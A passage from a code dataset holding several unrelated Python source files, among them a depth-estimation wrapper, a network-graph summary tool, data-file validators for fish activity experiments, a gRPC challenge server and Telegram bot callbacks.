= cv2.cvtColor(img, cv2.COLOR_BGR2RGB) / 255.0\n\n        if kitti_crop is True:\n            height, width, _ = img.shape\n            top = height - 352\n            left = (width - 1216) // 2\n            img = img[top : top + 352, left : left + 1216, :]\n\n        img_input = self.transform({\"image\": img})[\"image\"]\n\n        # with torch.no_grad():\n        sample = torch.from_numpy(img_input).to(self.device).unsqueeze(0)\n\n        if self.optimize and self.device == torch.device(\"cuda\"):\n            sample = sample.to(memory_format=torch.channels_last)\n            sample = sample.half()\n\n        prediction = self.model.forward(sample)\n        prediction = (\n            torch.nn.functional.interpolate(\n                prediction.unsqueeze(1),\n                size=img.shape[:2],\n                mode=\"bicubic\",\n                align_corners=False,\n            )\n            .squeeze()\n            .cpu()\n            .numpy()\n        )\n\n        # if self.model_type == \"dpt_hybrid_kitti\":\n        #     prediction *= 256\n\n        return prediction\n\n\nif __name__ == \"__main__\":\n    parser = argparse.ArgumentParser()\n\n    parser.add_argument(\n        \"-m\", \"--model_weights\", default=None, help=\"path to model weights\"\n    )\n\n    parser.add_argument(\n        \"-t\",\n        \"--model_type\",\n        default=\"dpt_hybrid\",\n        help=\"model type [dpt_large|dpt_hybrid|midas_v21]\",\n    )\n\n    parser.add_argument(\"--optimize\", dest=\"optimize\", action=\"store_true\")\n    parser.set_defaults(optimize=True)\n\n    args = parser.parse_args()\n\n    # default_models = {\n    #     \"midas_v21\": \"weights/midas_v21-f6b98070.pt\",\n    #     \"dpt_large\": \"weights/dpt_large-midas-2f21e586.pt\",\n    #     \"dpt_hybrid\": \"weights/dpt_hybrid-midas-501f0c75.pt\",\n    #     \"dpt_hybrid_kitti\": \"weights/dpt_hybrid_kitti-cb926ef4.pt\",\n    #     \"dpt_hybrid_nyu\": \"weights/dpt_hybrid_nyu-2ce69ec7.pt\",\n    # }\n    #\n    # if args.model_weights is None:\n    #     args.model_weights = default_models[args.model_type]\n\n    # set torch options\n    torch.backends.cudnn.enabled = True\n    torch.backends.cudnn.benchmark = True\n\n    # build model\n    model = DepthModel(\n        args.model_type,\n        args.optimize,\n    )\n    # print(model)\n\n    # read img\n    img_path = r\"dataset\\sequences_jpg\\00\\image_0\\000000.jpg\"\n    img = cv2.imread(img_path)\n\n    # compute depth\n    depth = model.compute_depth(img, kitti_crop=False)\n\n    filename = os.path.join(\n        \"temp\", os.path.splitext(os.path.basename(img_path))[0]\n    )\n    util.io.write_depth(filename.replace(\".jpg\", \"_depth.jpg\"), depth, bits=2, absolute_depth=True)\n\n\n\n","repo_name":"aofrancani/DPT-VO","sub_path":"depth_model.py","file_name":"depth_model.py","file_ext":"py","file_size_in_byte":6129,"program_lang":"python","lang":"en","doc_type":"code","stars":24,"dataset":"github-code","pt":"47"}
{"seq_id":"37329276352","text":"\"\"\"ag.Space sanitizer for certain hyperparameters.\"\"\"\nimport warnings\n\nimport numpy as np\nfrom autogluon.core import Categorical, Int\n\n\ndef sanitize_batch_size(batch_size, min_value=1, max_value=np.inf):\n    if isinstance(batch_size, Categorical):\n        valid_bs = []\n        bs_values = batch_size.data\n        for bs_value in bs_values:\n            if isinstance(bs_value, int) and min_value < bs_value < max_value:\n                valid_bs.append(bs_value)\n        if valid_bs != bs_values:\n            warnings.warn(\n                f'Pruning batch size from {batch_size} to {valid_bs} due to memory limit.'\n            )\n        if len(valid_bs) == 1:\n            new_bs = valid_bs[0]\n        else:\n            new_bs = Categorical(*valid_bs)\n    elif isinstance(batch_size, Int):\n        lower = batch_size.lower\n        upper = batch_size.upper\n        if not isinstance(lower, int) or not isinstance(upper, int):\n            raise TypeError(\n                f'Invalid lower {lower} or upper {upper} bound for Int space')\n        lower = max(lower, min_value)\n        upper = min(upper, max_value)\n        new_bs = Int(lower=lower, upper=upper)\n        if lower != batch_size.lower or upper != batch_size.higher:\n            warnings.warn(\n                f'Adjusting batch size range from {batch_size} to {new_bs} due to memory limit.'\n            )\n    elif isinstance(batch_size, int):\n        new_bs = max(min(batch_size, max_value), min_value)\n        if new_bs != batch_size:\n            warnings.warn(\n                f'Adjusting batch size from {batch_size} to {new_bs} due to memory limit.'\n            )\n    else:\n        raise TypeError(\n            f'Expecting batch size to be (Categorical/Int/int), given {type(batch_size)}.'\n        )\n    return new_bs\n","repo_name":"jianzhnie/AutoTimm","sub_path":"autotimm/auto/utils/space_sanitizer.py","file_name":"space_sanitizer.py","file_ext":"py","file_size_in_byte":1777,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"47"}
{"seq_id":"70483680464","text":"import codecs\nimport community\nimport json\nimport logging\nimport networkx as nx\nimport operator\nimport tempfile\nimport databasic.logic.filehandler as filehandler\nfrom csvkit import table\nfrom networkx.readwrite import json_graph\n\nlogger = logging.getLogger(__name__)\n\n\ndef get_summary(input_path, has_header_row=True):\n    \"\"\"\n    Publicly access data summary\n    \"\"\"\n    ctd = ConnectTheDots(input_path, has_header_row)\n    return ctd.get_summary()\n\n\ndef get_graph(input_path, has_header_row=True):\n    \"\"\"\n    Return the graph for testing purposes\n    \"\"\"\n    ctd = ConnectTheDots(input_path, has_header_row)\n    return ctd.as_graph()\n\n\nclass ConnectTheDots():\n    def __init__(self, input_path, has_header_row=True):\n        \"\"\"\n        Initialize the object\n        \"\"\"\n        utf8_file_path = filehandler.convert_to_utf8(input_path)\n        input_file = codecs.open(utf8_file_path, 'r', filehandler.ENCODING_UTF_8)\n        try:\n            self.table = table.Table.from_csv(input_file,\n                                              no_header_row=not has_header_row,\n                                              snifflimit=0,\n                                              blanks_as_nulls=False)\n            if len(self.table) != 2:\n                raise ValueError('File has more than two columns')\n            else:\n                self.graph = nx.from_edgelist(self.table.to_rows())\n        except Exception as e:\n            logger.error('[CTD] Unable to make table from csv: %s' % e)\n\n    def get_summary(self):\n        \"\"\"\n        Return a summary of the network data\n        \"\"\"\n        MAX_NODES = 3000\n\n        results = {}\n\n        if hasattr(self, 'graph'):\n            node_count = self.count_nodes()\n            edge_count = self.count_edges()\n\n            if node_count > MAX_NODES:\n              k = 1000\n              logger.debug('[CTD] Using k = %s to approximate betweenness centrality' % k)\n            else:\n              k = None\n\n            nodes = nx.nodes(self.graph)\n            degree = {n: self.graph.degree(n) for n in nodes}\n            bc = nx.betweenness_centrality(self.graph, k=k)\n            partition = community.best_partition(self.graph)\n            results['bipartite'] = self.is_bipartite_candidate()\n            results['communities'] = len(set(partition.values()))\n\n            if results['bipartite']:\n                self.nodes = [{'id': n, 'degree': degree[n], 'centrality': bc[n], 'community': partition[n], 'column': 0 if n in self.col0 else 1} for n in nodes]\n            else:\n                self.nodes = [{'id': n, 'degree': degree[n], 'centrality': bc[n], 'community': partition[n]} for n in nodes]\n\n            self.graph_with_metadata = self.graph.copy()\n            nx.set_node_attributes(self.graph_with_metadata, 'degree', degree)\n            nx.set_node_attributes(self.graph_with_metadata, 'betweenness centrality', bc)\n\n            colors = ['blue', 'orange', 'green', 'red', 'purple', 'brown', 'pink', 'grey', 'olive', 'turquoise']\n            if results['communities'] > 20:\n                self.community_color = {n: ('dark' if partition[n] % 2 == 0 else 'light') + colors[int(partition[n] % 20 / 2)] + str(partition[n] / 20) for n in nodes}\n            elif results['communities'] > 10:\n                self.community_color = {n: ('dark' if partition[n] % 2 == 0 else 'light') + colors[int(partition[n] / 2)] for n in nodes}\n            else:\n                self.community_color = {n: colors[int(partition[n])] for n in nodes}\n\n            nx.set_node_attributes(self.graph_with_metadata, 'community', self.community_color)\n\n            results['nodes'] = node_count\n            results['edges'] = edge_count\n\n            results['clustering'] = self.get_clustering_score()\n            results['density'] = self.get_density_score()\n            results['connector'] = max(self.nodes, key=lambda x:x['centrality'])['id']\n\n            results['table'] = self.as_table()\n            results['json'] = self.as_json()\n            results['gexf'] = self.as_gexf()\n\n        return results\n\n    def count_nodes(self):\n        \"\"\"\n        Count the number of (unique) nodes in the dataset\n        \"\"\"\n        return nx.number_of_nodes(self.graph)\n\n    def count_edges(self):\n        \"\"\"\n        Count the number of edges in the dataset\n        \"\"\"\n        return nx.number_of_edges(self.graph)\n\n    def get_clustering_score(self):\n        \"\"\"\n        Return the graph's global clustering/\"clique-ishness\" score\n        \"\"\"\n        return nx.average_clustering(self.graph) # using default # of trials: 1000\n\n    def get_density_score(self):\n        \"\"\"\n        Return the graph's global density/\"connectedness\" score\n        \"\"\"\n        return nx.density(self.graph)\n\n    def as_graph(self):\n        \"\"\"\n        Return the networkx graph object\n        \"\"\"\n        return self.graph\n\n    def as_table(self):\n        \"\"\"\n        Return the table of nodes with degree/centrality/community color\n        \"\"\"\n        rows = [{'id': n['id'],\n                 'degree': n['degree'],\n                 'centrality': n['centrality'],\n                 'community': self.community_color[n['id']]} for n in self.nodes]\n        return sorted(rows, key=operator.itemgetter('centrality'), reverse=True)\n\n    def as_json(self):\n        \"\"\"\n        Return the graph as JSON for D3 visualization\n        \"\"\"\n        output = json_graph.node_link_data(self.graph)\n        output['nodes'] = self.nodes\n        return json.dumps(output)\n\n    def as_gexf(self):\n        \"\"\"\n        Return the graph as GEXF for download\n        \"\"\"\n        [open_handle, full_path] = tempfile.mkstemp()\n        nx.write_gexf(self.graph_with_metadata, full_path)\n        content = open(full_path, 'r').read()\n        return content\n\n    def is_bipartite_candidate(self):\n        \"\"\"\n        Return true if network might be bipartite (unique values per column)\n        \"\"\"\n        self.col0 = {}\n        for val in list(set(self.table[0])):\n            self.col0[val] = True\n        for val in list(set(self.table[1])):\n            if val in self.col0:\n                return False\n        return True","repo_name":"dataculturegroup/DataBasic","sub_path":"databasic/logic/connectthedots.py","file_name":"connectthedots.py","file_ext":"py","file_size_in_byte":6120,"program_lang":"python","lang":"en","doc_type":"code","stars":61,"dataset":"github-code","pt":"47"}
{"seq_id":"17928576770","text":"import pprint\nimport os\nimport sys\n\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\n\nfrom request import BaseRequest\nfrom dotenv import dotenv_values\n\nconfig = dotenv_values()\n\n# Example of GET /invoices/:invoice_id\n\nclass GetInvoiceRequest(BaseRequest):\n    def __init__(self):\n        super().__init__()\n\n    def get_invoice(self, id):\n        path = f\"/invoices/{id}\"\n        return self.make_request(\"GET\", path)\n\n# run as standalone script by passing any command line argument\nif len(sys.argv) > 1:\n    invoice_id = config['INVOICE_ID']\n\n    get_invoice_request = GetInvoiceRequest()\n    invoice = get_invoice_request.get_invoice(invoice_id )\n\n    pprint.pprint(invoice)\n","repo_name":"corptools-api/CorpTools-API-Examples","sub_path":"python/examples/get_invoice.py","file_name":"get_invoice.py","file_ext":"py","file_size_in_byte":705,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"47"}
{"seq_id":"18670204329","text":"from di.declarative import DeclarativeApp, DeclarativeModule, scan_factories\nfrom tests.di.declarative import mod_simple, mod_simple_impl\n\n\ndef test_build_simple_readme_example():\n    # create app definition\n    app_def = DeclarativeApp(\n        DeclarativeModule(\n            # automatically add factories from `mod_simple` and `mod_simple_impl`\n            scan_factories(mod_simple, mod_simple_impl),\n        )\n    )\n\n    # build app\n    instance = app_def.build_instance()\n\n    # get initialized `DomainAction` object\n    (action,) = instance.values_by_type(mod_simple.DomainAction)\n\n    # check app works\n    assert action.present() == \"Data found: di, test\"\n","repo_name":"dlski/python-di","sub_path":"tests/di/declarative/test_build_simple.py","file_name":"test_build_simple.py","file_ext":"py","file_size_in_byte":664,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"47"}
{"seq_id":"6243510066","text":"import csv\nimport numpy as np\nimport pandas as pd\n\nfrom . import parse\n\n\ndef test_genotype_file(fname, quiet=False):\n    \"\"\"\n    Validate a genotype input file.\n\n    Parameters\n    ----------\n    fname : string\n        Name of file containing genotype file.\n    quiet : bool, default False\n        If True, print problems with data set to screen.\n\n    Returns\n    -------\n    output: bool\n        True if genotype file passed test. False otherwise.\n    \"\"\"\n\n    # Keep tabs on number of failures.\n    n_fail = 0\n\n    if not quiet:\n        print()\n\n    # Sniff out the delimiter, see how many headers, check file not empty\n    n_header, delimiter, line = parse._sniff_file_info(\n                    fname, check_header=True, comment='#', quiet=False)\n\n    # Check headers\n    if n_header >= 3:\n        if not quiet:\n            print('ERROR: Genotype file possibly uses wrong comment character.')\n            print('\\n***GENOTYPE VALIDATION FAILED***\\n')\n        return 1\n    elif n_header == 2:\n        if not quiet:\n            print('Warning: Genotype file probably has two header rows.\\n')\n        n_fail += 1\n        header = [0, 1]\n    elif n_header == 0:\n        if not quiet:\n            print('ERROR: Genotype file is probably missing a header.')\n        n_fail += 1\n        header = 'infer'\n    else:\n        header = 'infer'\n\n    # Make sure there is some data\n    if line == '':\n        if not quiet:\n            print('ERROR: Genotype file has no data,\\n')\n            print('***GENOTYPE VALIDATION FAILED***\\n')\n        return n_fail + 1\n\n    # Check comma delimiting\n    if delimiter != ',':\n        print('ERROR: Genotype file is not comma delimited.\\n')\n        n_fail += 1\n\n    # Read file\n    df = pd.read_csv(fname, comment='#', header=header, delimiter=delimiter)\n\n    # Reset the columns to be the second level of indexing\n    if header == [0, 1]:\n        df.columns = df.columns.get_level_values(1)\n\n    # Make sure there is an omit column\n    if 'omit' not in df.columns:\n        if not quiet:\n            print('ERROR: No `omit` column in genotype file.\\n')\n\n    # Make sure columns (genotypes) are unique\n    dups = df.columns[df.columns.duplicated()].unique()\n    if len(dups) > 0:\n        if not quiet:\n            print('ERROR: Duplicated genotypes:', dups, '\\n')\n        n_fail += 1\n\n    # Melt the DataFrame\n    df = pd.melt(df, var_name='genotype', value_name='fish').dropna()\n\n    # Make sure it is non-empty\n    if len(df) == 0:\n        if not quiet:\n            print('ERROR: No fish are assigned genotypes.\\n')\n        n_fail += 1\n\n    # Reset the index\n    df = df.reset_index(drop=True)\n\n    # Make sure data type is integer\n    df.loc[:,'fish'] = df.loc[:,'fish'].astype(int)\n\n    # Check for duplicate fish\n    if df['fish'].duplicated().sum() > 0:\n        if not quiet:\n            print('ERROR: Fish were duplicates:',\n                  list(df.loc[df['fish'].duplicated(), 'fish'].unique()))\n            print('\\n')\n        n_fail += 1\n\n    if n_fail > 0:\n        if not quiet:\n            print('***GENOTYPE VALIDATION FAILED***\\n')\n    else:\n        if not quiet:\n            print('Genotype validation passed.\\n')\n\n    return n_fail == 0\n\n\ndef test_activity_file(fname, genotype_fname, quiet=False):\n    \"\"\"\n    Validate an activity input file.\n\n    Parameters\n    ----------\n    fname : string\n        Name of file containing genotype file.\n    quiet : bool, default False\n        If True, print problems with data set to screen.\n\n    Returns\n    -------\n    output: bool\n        True if activity file passed test. False otherwise.\n    \"\"\"\n\n    if not quiet:\n        print()\n\n    # Keep tabs on number of failures.\n    n_fail = 0\n\n    # Sniff out the delimiter, see how many headers, check file not empty\n    _, delimiter, line = parse._sniff_file_info(fname, check_header=False,\n                                                comment='#', quiet=False)\n\n    if delimiter != ',':\n        if not quiet:\n            print('ERROR: Activity file is not comma delimited.\\n')\n        n_fail += 1\n\n    if line == '':\n        if not quiet:\n            print('ERROR: Activity file has no data.\\n')\n        n_fail += 1\n\n    # Read in data file\n    df = pd.read_csv(fname)\n\n    # Make sure columns are correct\n    cols = ['location', 'animal', 'user', 'sn', 'an', 'datatype', 'start',\n            'end', 'startreason', 'endreason', 'frect', 'fredur', 'midct',\n            'middur', 'burct', 'burdur', 'stdate', 'sttime']\n    if len(df.columns) != len(cols):\n        if not quiet:\n            print('ERROR: Wrong number of columns in DataFrame.\\n')\n        n_fail += 1\n\n    if set(df.columns) - set(cols) != set():\n        if not quiet:\n            print('ERROR: Columns present that should not be:',\n                  set(df.columns) - set(cols), '\\n')\n        n_fail += 1\n\n    if set(cols) - set(df.columns) != set():\n        if not quiet:\n            print('ERROR: Columns absent that should be there:',\n                  set(cols) - set(df.columns), '\\n')\n        n_fail += 1\n\n    # Check for missing data\n    total_nan = df.isnull().sum().sum()\n    if total_nan > 0:\n        if not quiet:\n            if total_nan > 100:\n                print('ERROR: More than 100 missing data entries.\\n')\n            else:\n                df_null = df.isnull().unstack()\n                print('ERROR: Missing data:')\n                print(df_null[df_null])\n                print('\\n')\n        n_fail += 1\n\n    # Check to make sure all values that should be nonnegative are\n    if (df['start'] < 0).sum() > 0:\n        if not quiet:\n            print('ERROR: Some negative `start` times.\\n')\n        n_fail += 1\n    if (df['end'] < 0).sum() > 0:\n        if not quiet:\n            print('ERROR: Some negative `start` times.\\n')\n        n_fail += 1\n    if (df['frect'] < 0).sum() > 0:\n        if not quiet:\n            print('ERROR: Some negative `frect` values.\\n')\n        n_fail += 1\n    if (df['fredur'] < 0).sum() > 0:\n        if not quiet:\n            print('ERROR: Some negative `fredur` values.\\n')\n        n_fail += 1\n    if (df['midct'] < 0).sum() > 0:\n        if not quiet:\n            print('ERROR: Some negative `midct` values.\\n')\n        n_fail += 1\n    if (df['middur'] < 0).sum() > 0:\n        if not quiet:\n            print('ERROR: Some negative `middur` values.\\n')\n        n_fail += 1\n    if (df['burct'] < 0).sum() > 0:\n        if not quiet:\n            print('ERROR: Some negative `burct` values.\\n')\n        n_fail += 1\n    if (df['burdur'] < 0).sum() > 0:\n        if not quiet:\n            print('ERROR: Some negative `burdur` values.\\n')\n        n_fail += 1\n\n    # Check that start times are sequential\n    if (np.diff(df['start'].unique()) < 0).sum():\n        if not quiet:\n            print('ERROR: Nonsequential `start` values.\\n')\n        n_fail += 1\n\n    # Make sure all end times greater than their start times\n    if (df['end'] <= df['start']).sum() > 0:\n        if not quiet:\n            print('ERROR: Some `end` times occur before their `start` times.\\n')\n        n_fail += 1\n\n    # Check that start and stop times of intervals are kosher\n    time_int = (df['end'] - df['start']).median()\n    good_int = np.logical_or(np.isclose(df['end'] - df['start'], time_int), \n                             df['endreason'] == 'End of session')\n    if not np.all(good_int):\n        if not quiet:\n            df_bad = df.loc[~good_int, ['start', 'end']]\n            max_bad = (df_bad['end'] - df_bad['start']).max()\n            min_bad = (df_bad['end'] - df_bad['start']).min()\n            print('ERROR: Bad time intervals based on `start` and `end`.')\n            print('            Standard interval:', time_int)\n            print('                 Max interval:', max_bad)\n            print('                 Min interval:', min_bad)\n            print('      Number of bad intervals:', len(df_bad))\n            print('    Fraction of intervals bad:', len(df_bad) / len(df))\n            print('\\n')\n        n_fail += 1\n\n    # Check that clock time matches start times\n    df['time'] = pd.to_datetime(df['stdate'] + df['sttime'],\n                                format='%d/%m/%Y%H:%M:%S')\n    df['time_start'] = pd.to_numeric(df['time'] - df['time'].min()) / 1e9\n    t_diff = df['time_start'] - df['start']\n    if not np.isclose(t_diff.max(), 0):\n        if not quiet:\n            print('ERROR: `sttime` and `start` do not match.')\n            print('    Maximum `sttime` - `start`:', t_diff.max())\n            print('    Minimum `sttime` - `start`:',\n                                    t_diff[np.abs(t_diff)>0].min())\n            print('       Number of discrepancies:',\n                  (~np.isclose(t_diff, 0)).sum())\n            print('     Fraction of intervals bad:',\n                  (~np.isclose(t_diff, 0)).sum() / len(df))\n            print('\\n')\n        n_fail += 1\n\n    # Count how many unique fish there are\n    n_fish = len(df['location'].unique())\n\n    # Detect if it's the new file format, and the convert fish to integer\n    if '-' in df['location'].iloc[0]:\n        df['location'] = df['location'].apply(lambda x: x[x.rfind('-')+1:]).astype(int)\n    else:\n        df['location'] = df['location'].str.extract('(\\d+)', expand=False).astype(int)\n\n    # Make sure all fish are accounted for in genotype file\n    try:\n        df_g = parse.load_gtype(genotype_fname, quiet=True)\n        test_gtypes = True\n    except:\n        print('ERROR: Cannot open genotype file.\\n')\n        n_fail += 1\n        test_gtypes = False\n\n    if test_gtypes:\n        g_set = set(df_g['location'].unique())\n        a_set = set(df['location'].unique())\n\n        set_diff = a_set - g_set\n        if set_diff != set():\n            n_fail += 1\n            print('ERROR: location [ ', end='')\n            for x in sorted(list(set_diff)):\n                print(x, end=' ')\n            print('] in activity file but not in genotype file.')\n            if 'omit' in df_g.columns:\n                print()\n            else:\n                print('Possibly due to no `omit` column in genotype file.\\n')\n\n        set_diff = g_set - a_set\n        if set_diff != set():\n            n_fail += 1\n            print('ERROR: location [ ', end='')\n            for x in sorted(list(set_diff)):\n                print(x, end=' ')\n            print('] in genotype file but not in activity file.\\n')\n\n    if n_fail > 0:\n        if not quiet:\n            print('***ACTIVITY VALIDATION FAILED***\\n')\n    else:\n        if not quiet:\n            print('Activity validation passed.\\n')\n\n    return n_fail == 0\n","repo_name":"justinbois/fish-activity","sub_path":"fishact/validate.py","file_name":"validate.py","file_ext":"py","file_size_in_byte":10517,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"47"}
{"seq_id":"30176969911","text":"# Pattern RPC server\n\n\n# Standard library imports\nimport concurrent\nimport json\nimport os\nimport sys\nimport time\n\n# Imports from third party packages\nimport grpc\n\n# Imports from current project\nimport pattern_pb2\n\n\nclass ChallengeServer(pattern_pb2.PatternGenTestServicer):\n    def __init__(self):\n        super(ChallengeServer, self).__init__()\n        self.current_count = 0\n        self.success_msg = \"Yaay! All challenges solved!\"\n        self.trial_count = 50\n        self.welcome = pattern_pb2.Welcome(\n                        banner=\"Welcome to challenge.\",\n                        trial_count=self.trial_count\n                       )\n        return\n\n    def _generate_challenge(self):\n        curr_challenge = test_cases[self.current_count - 1]\n        start = curr_challenge[\"start\"]\n        end = curr_challenge[\"end\"]\n        period = curr_challenge[\"period\"]\n        self.exp_ans = curr_challenge[\"ans\"]\n        self.challenge = pattern_pb2.Challenge(start=start, end=end, step=period)\n        return\n\n    def GetChallenge(self, request, context):\n        if self.current_count == 0:\n            # First request\n            self.current_count += 1\n            self._generate_challenge()\n            response = pattern_pb2.ChallengeResponse(\n                        challenge=self.challenge,\n                        welcome=self.welcome\n                       )\n        elif request.solution == self.exp_ans:\n            # Correct answer. Increment trial count. If done, stop else send next\n            # challenge.\n            self.current_count += 1\n            if self.current_count > self.trial_count:\n                response = pattern_pb2.ChallengeResponse(\n                            correct=True,\n                            status_msg=self.success_msg\n                           )\n                # Simulates disconnection since server thinks it's first request from\n                # client.\n                self.current_count = 0\n            else:\n                self._generate_challenge()\n                response = pattern_pb2.ChallengeResponse(\n                            challenge=self.challenge,\n                            correct=True\n                           )\n        else:\n            # Incorrect answer\n            msg = \"Incorrect answer! Got %s, expected %s\" % \\\n                (request.solution, self.exp_ans)\n            response = pattern_pb2.ChallengeResponse(\n                        correct=False,\n                        status_msg=msg\n                       )\n            # Simulates disconnection since server things it's first request from\n            # client.\n            self.current_count = 0\n\n        return response\n\n\ndef serve():\n    if len(sys.argv) != 3:\n        print(\"Usage: %s PORT TEST_CASE_FILE\" % (sys.argv[0]))\n        sys.exit(1)\n\n    port = int(sys.argv[1])\n    if port < 1 or port >= pow(2, 16):\n        print(\"Port number should lie between 1 and 65535\")\n        sys.exit(1)\n\n    filename = sys.argv[2]\n    if not os.path.isfile(filename):\n        print(\"%s is not a valid file.\")\n        sys.exit(1)\n\n    fp = open(filename)\n    global test_cases\n    try:\n        test_cases = json.load(fp)\n    except ValueError:\n        print((\"%s does not have valid JSON content. Please check if you chose the\" +\n              \"correct file\") % (filename))\n        fp.close()\n        sys.exit(1)\n\n    fp.close()\n    server = grpc.server(concurrent.futures.ThreadPoolExecutor(max_workers=10))\n    pattern_pb2.add_PatternGenTestServicer_to_server(ChallengeServer(), server)\n    server.add_insecure_port('[::]:%d' % (port))\n    server.start()\n    try:\n        while True:\n            time.sleep(60 * 60 * 24)\n    except KeyboardInterrupt:\n        server.stop(0)\n\n    return\n\n\nif __name__ == \"__main__\":\n    serve()\n","repo_name":"PallaviKumariJha/distributed-systems","sub_path":"2/1/pattern_test_server.py","file_name":"pattern_test_server.py","file_ext":"py","file_size_in_byte":3772,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"47"}
{"seq_id":"1773044645","text":"#20220227\n#백준(투포인터) : 21921 블로그#https://www.acmicpc.net/problem/21921\n\nimport sys\n#누적 합\nfrom itertools import accumulate\ninput = sys.stdin.readline\n\nn, x = map(int,input().split())\ns = 0\nhap = []\na = list(map(int,input().split()))\nb = list(accumulate(a))\n\nfor i in range(1,n):\n  if (i-x) < 0:\n    hap.append(b[i])\n  else:\n    hap.append(b[i]-b[i-x])\n      \nif max(hap) != 0:\n  print(max(hap))\nelse:\n  print('SAD')\n  exit(0)\n\nprint(hap.count(max(hap)))\n","repo_name":"jungyoonoh/unit-study","sub_path":"Soomin/Baekjoon/Two Pointer/21921 블로그.py","file_name":"21921 블로그.py","file_ext":"py","file_size_in_byte":476,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"47"}
{"seq_id":"5004654697","text":"\"\"\"Respondent callbacks.\"\"\"\n\n# imports\nimport logging\n\nfrom aiogram import types, Dispatcher\nfrom aiogram.dispatcher import FSMContext\n\nfrom data import db_session\nfrom data.QuestionModel import Question\nfrom handlers.dialogue_handlers import start_chat\nfrom handlers.respondent_handlers import respondent_send_interactions\nfrom handlers.states import RespondentStates, DialogueStates\n\nlogger = logging.getLogger(__name__)\nsession = db_session.create_session()\n\n\nasync def respondent_swipe_available_questions(callback: types.CallbackQuery, state: FSMContext):\n    \"\"\"Callback to swipe available questions.\"\"\"\n\n    user_data = await state.get_data()\n    i, questions = user_data['index'], user_data['questions']\n    message = user_data['message']\n    available_questions_keyboard = types.InlineKeyboardMarkup(row_width=3)\n    size = len(questions)\n    action = callback.data\n    if action == \"previous_question\":\n        i = (i - 1 + size) % size\n    elif action == \"next_question\":\n        i = (i + 1) % size\n    elif action == 'go_back':\n        await RespondentStates.send_interactions.set()\n        await callback.answer()\n        await respondent_send_interactions(message)\n        return\n    elif action == \"give_answer\":\n        await state.reset_data()\n        await state.update_data(question=questions[i])\n        await callback.message.answer(text=\"Please write full and correct answer on given question:\")\n        await RespondentStates.give_answer.set()\n        return\n    if size == 1:\n        await callback.answer()\n        return\n    buttons = [\n        [types.InlineKeyboardButton(text='⬅️', callback_data=\"previous_question\"),\n         types.InlineKeyboardButton(text=f'{i + 1}/{size}', callback_data=\"question_num\"),\n         types.InlineKeyboardButton(text='➡️', callback_data=\"next_question\")],\n        [types.InlineKeyboardButton(text='Give answer', callback_data='give_answer')],\n        [types.InlineKeyboardButton(text=\"Back to menu ↩️🥺\", callback_data='go_back')]\n    ]\n    available_questions_keyboard.inline_keyboard = buttons\n    await state.update_data(index=i)\n    await callback.message.edit_text(text=f\"Question:\\n\"\n                                          f\"{questions[i].text}\",\n                                     reply_markup=available_questions_keyboard)\n    await callback.answer()\n\n\nasync def respondent_swipe_answers(callback: types.CallbackQuery, state: FSMContext):\n    \"\"\"Callback to swipe answers.\"\"\"\n\n    user_data = await state.get_data()\n    i, answers = user_data['index'], user_data['answers']\n    message = user_data['message']\n    show_answers_keyboard = types.InlineKeyboardMarkup(row_width=3)\n    size = len(answers)\n    action = callback.data\n    if action == \"previous_question\":\n        i = (i - 1 + size) % size\n    elif action == \"next_question\":\n        i = (i + 1) % size\n    elif action == 'go_back':\n        await RespondentStates.send_interactions.set()\n        await callback.answer()\n        await respondent_send_interactions(message)\n    buttons = [\n        [types.InlineKeyboardButton(text='⬅️', callback_data=\"previous_question\"),\n         types.InlineKeyboardButton(text=f'{i + 1}/{size}', callback_data=\"question_num\"),\n         types.InlineKeyboardButton(text='➡️', callback_data=\"next_question\")],\n        [types.InlineKeyboardButton(text=\"Back to menu ↩️🥺\", callback_data='go_back')]\n    ]\n    show_answers_keyboard.inline_keyboard = buttons\n    await state.update_data(index=i)\n    question = session.query(Question).filter(Question.id == answers[i].question_id).first()\n    await callback.message.edit_text(text=f\"Question:\\n\"\n                                          f\"{question.text}\\n\\n\"\n                                          f\"Your answer:\\n\"\n                                          f\"{answers[i].text}\",\n                                     reply_markup=show_answers_keyboard)\n    await callback.answer()\n\n\nasync def respondent_show_requests(callback: types.CallbackQuery, state: FSMContext):\n    \"\"\"Shows requests to respondent.\"\"\"\n\n    user_data = await state.get_data()\n    i, requests = user_data['index'], user_data['requests']\n    message = user_data['message']\n    made_action = user_data['made_action']\n    show_requests_keyboard = types.InlineKeyboardMarkup(row_width=3)\n    size = len(requests)\n    action = callback.data\n    if action == \"prev_request\":\n        if size == 1:\n            await callback.answer()\n            return\n        i = (i - 1 + size) % size\n    elif action == \"next_request\":\n        if size == 1:\n            await callback.answer()\n            return\n        i = (i + 1) % size\n    elif action == \"go_back\":\n        await RespondentStates.send_interactions.set()\n        await callback.answer()\n        await respondent_send_interactions(message)\n    elif action == \"accept\":\n        made_action = True\n        await DialogueStates.start_chat.set()\n        await state.reset_data()\n        await state.update_data(request=requests[i])\n        session.delete(requests[i])\n        session.commit()\n        await start_chat(message, state)\n    elif action == \"refuse\":\n        made_action = True\n        await callback.answer(text=\"Request was refused\")\n    buttons = [\n        [types.InlineKeyboardButton(text='⬅️', callback_data=\"prev_request\"),\n         types.InlineKeyboardButton(text=f'{i + 1}/{size}', callback_data=\"question_num\"),\n         types.InlineKeyboardButton(text='➡️', callback_data=\"next_request\")],\n    ]\n    if not made_action:\n        buttons.extend([[types.InlineKeyboardButton(text=\"Accept\", callback_data=\"accept\")],\n                        [types.InlineKeyboardButton(text=\"Refuse\", callback_data=\"refuse\")]])\n    buttons.append([types.InlineKeyboardButton(text=\"Back to menu ↩️🥺\", callback_data=\"go_back\")])\n    show_requests_keyboard.inline_keyboard = buttons\n    question = session.query(Question).filter(Question.id == requests[i].question_id).first()\n    await state.update_data(index=i, made_action=made_action)\n    await callback.message.edit_text(text=f\"Request for question:\\n\"\n                                          f\"\\\"{question.text}\\\"\",\n                                     reply_markup=show_requests_keyboard)\n    await callback.answer()\n\n\ndef register_respondent_callbacks(dp: Dispatcher):\n    \"\"\"Register all respondent callbacks to dispatcher.\"\"\"\n\n    logger.info(msg=\"Registering respondent 